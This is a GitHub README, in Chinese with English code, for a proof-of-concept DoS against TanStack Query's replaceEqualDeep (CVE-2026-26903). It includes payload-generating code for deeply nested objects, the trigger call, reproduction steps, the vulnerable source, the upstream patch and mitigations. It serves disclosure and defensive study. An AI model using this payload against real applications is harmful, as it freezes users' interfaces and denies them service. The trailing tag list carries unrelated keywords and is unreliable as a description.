John-Jung/CVE-2026-26903-PoC
GitHub: John-Jung/CVE-2026-26903-PoC
该仓库提供了一个针对 TanStack Query 的 replaceEqualDeep 函数无限递归漏洞的概念验证,用于演示如何通过深度嵌套对象触发 JavaScript 线程冻结拒绝服务攻击。
Stars: 0 | Forks: 0
# CVE-2026-26903 PoC
**通过 TanStack Query 的 `replaceEqualDeep` 函数中的无限递归实现拒绝服务**
一次包含深度嵌套对象的特制查询更新就能**无限期冻结 JavaScript 线程**,导致应用程序完全失去响应。此攻击不需要任何身份验证或特殊权限。
## 受影响版本
该漏洞已于 2026 年 1 月 14 日通过 PR [#10032](https://github.com/TanStack/query/pull/10032) 在 `@tanstack/query-core@5.90.17` 中修复。
| 软件包 | 受影响版本 | 修复版本 |
|---------|----------|-------|
| @tanstack/query-core | <= 5.90.16 | **5.90.17** |
| @tanstack/react-query | 依赖于存在漏洞的 query-core | **5.90.18+** |
| @tanstack/vue-query | 依赖于存在漏洞的 query-core | **5.90.18+** |
| @tanstack/solid-query | 依赖于存在漏洞的 query-core | **5.90.18+** |
| @tanstack/svelte-query | 依赖于存在漏洞的 query-core | **6.1.7+** |
### 官方描述
## 漏洞概述
TanStack Query 的 `replaceEqualDeep` 函数在内部用于确定查询数据是否实际发生了更改,通过在可能的情况下保留对象引用来优化重新渲染。该函数递归遍历对象属性以执行深度相等比较。
### 问题所在
该递归实现缺乏深度限制或循环检测:
```
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
```
### 攻击机制
1. **触发**:任何通过 `replaceEqualDeep` 且包含深度嵌套数据的查询更新
2. **载荷**:嵌套深度超过 5,000 层的对象
3. **影响**:立即冻结 JavaScript 线程,导致 UI 完全失去响应
4. **持续性**:应用程序将保持冻结状态,直到重新加载页面
### 攻击面
- **直接攻击**:带有嵌套响应数据的 `useQuery` 钩子
- **间接攻击**:`setQueryData`、`invalidateQueries` 或任何查询缓存操作
- **客户端**:无需服务器参与 — 纯粹的客户端 DoS 攻击
## 仓库结构
```
CVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
```
## 复现步骤
### 1. 克隆并设置
```
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
```
### 2. 运行 Node.js PoC(栈溢出崩溃)
```
node poc.js
```
### 3. 预期输出
```
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
```
### 4. 运行浏览器 PoC(交互式可视化演示)
```
open tanstack-query-poc.html
```
1. **验证应用响应性**:
- 点击计数器按钮
- 在输入框中输入内容
- 观察实时计时器的计数
2. **触发 DoS**:
- 点击 **"TRIGGER DoS (10000 depth) - App Will Freeze"**
- **结果**:计时器停止,按钮失去响应,页面冻结
### 详细测试
**选项 A:独立 HTML 演示**(无依赖)
```
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
```
**选项 B:React 应用**(真实场景)
```
cd examples/react-app-poc
npm install
npm start
# 导航至 http://localhost:3000 并按照屏幕上的说明进行操作
```
### 预期行为
#### 攻击前:
- 计数器按钮递增
- 实时计时器每秒更新
- 输入框响应输入
- 所有 UI 交互正常工作
#### 攻击后:
- 计时器冻结在当前值
- 计数器按钮停止响应
- 输入框变得无响应
- 控制台不显示任何错误(线程被阻塞,而非崩溃)
- **唯一解决办法**:重新加载浏览器标签页或窗口
## 漏洞利用原理
该 PoC 生成深度嵌套对象并触发 `replaceEqualDeep` 对其进行处理:
### 1. 载荷生成
```
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
```
### 2. 攻击触发
```
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
```
### 3. 递归链
```
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
```
每次递归调用都会增加一个新的栈帧,直到 JavaScript 引擎的调用栈被耗尽,从而冻结线程。
## 存在漏洞的代码
**位置**:`@tanstack/query-core/src/utils.ts`(大约)
```
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
```
## 补丁
该修复(在 [TanStack Query 提交 269351b](https://github.com/TanStack/query/commit/269351b8ce4b4846da3d320ac5b850ee6aada0d6) 中应用)增加了深度限制以防止无限递归:
```
- export function replaceEqualDeep(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
```
**主要更改:**
1. **添加了 `depth` 参数**,默认值为 `0`,用于跟踪递归深度
2. **添加了深度限制检查** — 如果 `depth > 500`,立即返回 `b`
3. **在递归调用中递增 depth** — `replaceEqualDeep(aItem, bItem, depth + 1)`
这个简单的修复既防止了栈溢出,又允许合理的嵌套(500 层的深度对于现实世界中的数据结构来说已经绰绰有余)。
## 缓解措施
### 临时解决方法
1. 在将深度嵌套的数据传递给 TanStack Query 之前将其**扁平化**
2. **实现具有深度限制的自定义比较函数**
3. 在开发环境中**监控查询数据的复杂性**
### 彻底修复
在 `replaceEqualDeep` 中实现深度限制:
```
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
```
或者使用迭代遍历代替递归。
## 参考
- [GitHub 安全公告](https://github.com/TanStack/query/commit/269351b8ce4b4846da3d320ac5b850ee6aada0d6)
## 免责声明
本概念验证仅用于**教育和授权安全测试目的**。请负责任地使用,并且仅在您拥有或已获得明确测试许可的应用程序上使用。作者对任何滥用此信息的行为不承担责任。
标签:CMS安全, CVE-2026-26903, DoS, JavaScript, Maven, MITM代理, PoC, React Query, TanStack Query, UI无响应, Vue Query, 代码执行, 前端安全, 后端开发, 多模态安全, 开放策略代理, 拒绝服务, 数据可视化, 无界递归, 暴力破解, 深度嵌套对象, 漏洞验证, 状态管理, 线程冻结, 网络安全, 配置错误, 隐私保护